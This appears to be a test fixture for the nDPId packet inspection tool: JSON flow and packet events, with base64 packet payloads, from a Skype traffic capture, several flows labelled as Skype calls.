+00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1431970647810,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.167","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1431970646799,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.168","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1431970645790,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.165","src_port":13021,"dst_port":40028,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1431970646799,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.143","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1431970649777,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.140","src_port":13021,"dst_port":40003,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1431970647810,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.173","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1431970650786,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.154","src_port":13021,"dst_port":40017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1431970651850,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.174","src_port":13021,"dst_port":40025,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1431970651850,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.160","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":197267,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/RGQAAEARstbAqAEiwKgBAfWbADUAK9VUuF8BAAABAAAAAAAABWRzbjEzAWQFc2t5cGUDbmV0AAABAAE="} +00451{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":694,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":197349,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/82IAAEARA9jAqAEiwKgBAebpADUAK335A20BAAABAAAAAAAABWRzbjEzAWQFc2t5cGUDbmV0AAAcAAE="} +00466{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":695,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":197408,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABL34IAAEARF6zAqAEiwKgBAeD4ADUANz9NJ5kBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDExAXIFc2t5cGUDbmV0AAABAAE="} +00466{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":696,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":197514,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLl8AAAEARX27AqAEiwKgBAdB8ADUAN25j7f4BAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDExAXIFc2t5cGUDbmV0AAAcAAE="} +00447{"flow_id":67,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":697,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":375150,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8CVlAAEAGT7HAqAEinTeCsMglnFZwrI9kwvNOL4AYECnPHAAAAQEICj4xy55OqL2E+DHKQRbsUKg="} +00513{"flow_id":73,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":698,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":385300,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"0NQSxnP1PBXCt3IOCABFAABsizZAAEAGZMDAqAEinTfrk8gmAbvxz5zEZu7sLYAYECxDqQAAAQEICj4xy6hMYEfZsJPOrYWxbQ2kS5GoHYZTSJUEAhUVjQ9Suc6gMln7jVEiXtQHYU+2Wg9JNG\/SECNBnGag8RNJ4KY="} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":699,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1431970652388,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.176","src_port":51241,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":81,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":699,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":388904,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAw4RAAEAGlYHAqAEinTeCsMgpAbtXW5NMAAAAALAC\/\/+W4QAAAgQFtAEDAwUBAQgKPjHLqwAAAAAEAgAA"} +00447{"flow_id":10,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":700,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":507478,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8S1pAAEAGXEPAqAEinTg0HMgdnEkK2QS07hN6BYAZECnCzQAAAQEICj4xzCFMX+qKABUsdMFxBVE="} +00446{"flow_id":81,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":701,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":513605,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYgqdN4KwwKgBIgG7yCm78+IiV1uTTaASOJDDlAAAAgQFrAQCCApOqL71PjHLqwEDAwk="} +00435{"flow_id":81,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":702,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":513731,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0+sxAAEAGXkXAqAEinTeCsMgpAbtXW5NNu\/PiI4AQECwaQwAAAQEICj4xzCdOqL71"} +00534{"flow_id":81,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":703,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":513844,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8J3VAAEAGMVXAqAEinTeCsMgpAbtXW5NNu\/PiI4AYECxr2gAAAQEICj4xzCdOqL71gEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIAh3jd8vcozSBl279Q14msg"} +00434{"flow_id":81,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":704,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":637541,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0XTdAADcGBNudN4KwwKgBIgG7yCm78+IjV1uTlYAQAB0p6wAAAQEICk6ovxQ+Mcwn"} +00530{"flow_id":81,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":705,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":637631,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"0NQSxnP1PBXCt3IOCABFAAB3a8NAAEAG7QvAqAEinTeCsMgpAbtXW5OVu\/PiI4AYECwneAAAAQEICj4xzKJOqL8U9IDgvpwdzGcEkd9CX4txidHNl7imFBAwZtm7PgDORMBSjaYWMXjPRWAjyRyC8GW2MJh6wHE92aXcM+JRSsWm\/1CudQ=="} +00442{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":706,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":702673,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6qdwAAEARTWPAqAEiwKgBAfgaADUAJptGWcsBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":707,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1431970652859,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.13","src_port":13021,"dst_port":40009,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":82,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":707,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":859729,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAyWSMAAEARpePAqAEib91KDTLdnEkAHvqKev8C0IwzOBgB3UEKOkJTX5CI9Vwhwg=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":707,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1431970652859,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.13","src_port":13021,"dst_port":40009,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":708,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1431970652859,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.46","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":83,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":708,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":859729,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1DNUAAEAR8g3AqAEib91KLjLdnFsAIUKoewECUhceSedyogxjoY07gc663Yk4liOtLw=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":708,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1431970652859,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.46","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":709,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1431970652859,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.174","src_port":13021,"dst_port":40019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":84,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":709,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":859801,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6I1wAAEARDKfAqAEinTfrrjLdnFMAJnmaewMCB1Y35rB9hiYgpWTMLw7QXUk3fDnH35+GDlnt"} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":709,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1431970652859,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.174","src_port":13021,"dst_port":40019,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":710,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1431970652859,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.22","src_port":13021,"dst_port":40009,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":85,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":710,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":859801,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8IkgAAEARdlHAqAEiQTffFjLdnEkAKNsyewUCeMezn62nslRHzPMr8rZBDWA5jghU5oMMawkbl98="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":710,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1431970652859,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.22","src_port":13021,"dst_port":40009,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":711,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1431970652859,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.145","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":86,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":711,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":859801,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"0NQSxnP1PBXCt3IOCABFAAA2CdUAAEAR8anAqAEib91NkTLdnFgAIo9yewcCvaqOUinZ3k4PRY4yBX99xmfLU0z2qZs="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":711,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1431970652859,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.145","src_port":13021,"dst_port":40024,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00447{"flow_id":60,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":712,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":922001,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8Cw9AAEAGTX7AqAEiQTffLcgjnEma5hzvzyelXIAYECkVaAAAAQEICj4xzb1NlOiwwc7xhOCNCBA="} +00520{"flow_id":74,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":713,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970653,"pkt_ts_usec":12042,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"0NQSxnP1PBXCt3IOCABFAABxrEtAAEAGrAzAqAEiQTffLcgnAbvOrma7ApkXD4AYECxxUQAAAQEICj4xzhZNlOpApvNYMEQS5cpK5u6346cd8BL2N20dvzqenZJMFcn1yRtBVTFQ\/i2ToNXpC7XoSTbRK6UPDCtXBWtUo6jCxA=="} +00530{"flow_id":81,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":714,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970653,"pkt_ts_usec":151309,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"0NQSxnP1PBXCt3IOCABFAAB3wFhAAEAGmHbAqAEinTeCsMgpAbtXW5OVu\/PiI4AYECwleQAAAQEICj4xzqFOqL8U9IDgvpwdzGcEkd9CX4txidHNl7imFBAwZtm7PgDORMBSjaYWMXjPRWAjyRyC8GW2MJh6wHE92aXcM+JRSsWm\/1CudQ=="} +00513{"flow_id":73,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":715,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970653,"pkt_ts_usec":219475,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"0NQSxnP1PBXCt3IOCABFAABsuv1AAEAGNPnAqAEinTfrk8gmAbvxz5zEZu7sLYAYECxAbAAAAQEICj4xzuVMYEfZsJPOrYWxbQ2kS5GoHYZTSJUEAhUVjQ9Suc6gMln7jVEiXtQHYU+2Wg9JNG\/SECNBnGag8RNJ4KY="} +00466{"flow_id":20,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":716,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970653,"pkt_ts_usec":610803,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLzkEAAEARKO3AqAEiwKgBAcOHADUANwqgVG4BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00466{"flow_id":21,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":717,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970653,"pkt_ts_usec":610987,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLxN4AAEARMlDAqAEiwKgBAcopADUAN1kA5GsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00517{"flow_id":75,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":718,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970653,"pkt_ts_usec":649638,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"0NQSxnP1PBXCt3IOCABFAABuvDlAAEAGAnzAqAEib91KLcgoAbtIes\/7DU2rDIAYECx6JQAAAQEICj4x0JNNh64VXoBGQFpplMys2JWIO4+I29OA4cPWkJJGByBiX+YJVXNQ2TREXlwyKhu2PLot6b6UkyYNEZ8cQhCRbQ=="} +00448{"flow_id":61,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":719,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970653,"pkt_ts_usec":735813,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8zvFAAEAG7\/XAqAEib91KLcgknEjYMAoJdih2JIAYEClb+wAAAQEICj4x0OlNh6yILYCuK5us2zw="} +00448{"flow_id":59,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":720,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970653,"pkt_ts_usec":750983,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA83+5AAEAGEDjAqAEinTfrk8ginEEPp73th03onYAYECkw\/AAAAQEICj4x0PhMYEZOu98xvI+OKgs="} +00448{"flow_id":67,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":721,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970653,"pkt_ts_usec":821331,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8XLdAAEAG\/FLAqAEinTeCsMglnFZwrI9kwvNOL4AYECnJfAAAAQEICj4x0T5OqL2E+DHKQRbsUKg="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":722,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1431970653869,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.150","src_port":13021,"dst_port":40007,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 